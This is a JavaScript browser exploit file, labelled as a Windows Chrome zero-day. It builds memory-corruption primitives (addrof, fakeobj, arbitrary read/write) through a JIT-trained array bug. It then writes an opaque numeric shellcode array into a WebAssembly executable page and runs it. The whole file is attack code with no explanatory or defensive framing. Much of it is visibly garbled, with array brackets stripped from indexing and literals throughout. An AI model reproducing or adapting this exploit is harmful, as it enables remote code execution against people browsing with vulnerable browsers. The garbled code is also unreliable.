Windows Chrome 0day漏洞

exploit.js

var wasm_code = new Uint8Array(0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11)
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;

var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
let buf2 = new ArrayBuffer(0x150);

function ftoi(val) {
    f64_buf0 = val;
    return BigInt(u64_buf0) + (BigInt(u64_buf1) << 32n);
}

function itof(val) {
    u64_buf0 = Number(val & 0xffffffffn);
    u64_buf1 = Number(val >> 32n);
    return f64_buf0;
}

const _arr = new Uint32Array(2**31);

function foo(a) {
    var x = 1;
	x = (_arr0 ^ 0) + 1;

	x = Math.abs(x);
	x -= 2147483647;
	x = Math.max(x, 0);

	x -= 1;
	if(x==-1) x = 0;

	var arr = new Array(x);
	arr.shift();
	var cor = 1.1, 1.2, 1.3;

	return arr, cor;
}

for(var i=0;i<0x3000;++i)
    foo(true);

var x = foo(false);
var arr = x0;
var cor = x1;

const idx = 6;
arridx+10 = 0x4242;

function addrof(k) {
    arridx+1 = k;
    return ftoi(cor0) & 0xffffffffn;
}

function fakeobj(k) {
    cor0 = itof(k);
    return arridx+1;
}

var float_array_map = ftoi(cor3);

var arr2 = itof(float_array_map), 1.2, 2.3, 3.4;
var fake = fakeobj(addrof(arr2) + 0x20n);

function arbread(addr) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr21 = itof((2n << 32n) + addr - 8n);
    return (fake0);
}

function arbwrite(addr, val) {
    if (addr % 2n == 0) {
        addr += 1n;
    }
    arr21 = itof((2n << 32n) + addr - 8n);
    fake0 = itof(BigInt(val));
}

function copy_shellcode(addr, shellcode) {
    let dataview = new DataView(buf2);
    let buf_addr = addrof(buf2);
    let backing_store_addr = buf_addr + 0x14n;
    arbwrite(backing_store_addr, addr);

    for (let i = 0; i < shellcode.length; i++) {
        dataview.setUint32(4*i, shellcodei, true);
    }
}

var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));
console.log("+ Address of rwx page: " + rwx_page_addr.toString(16));
var shellcode = 3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957;
copy_shellcode(rwx_page_addr, shellcode);
f();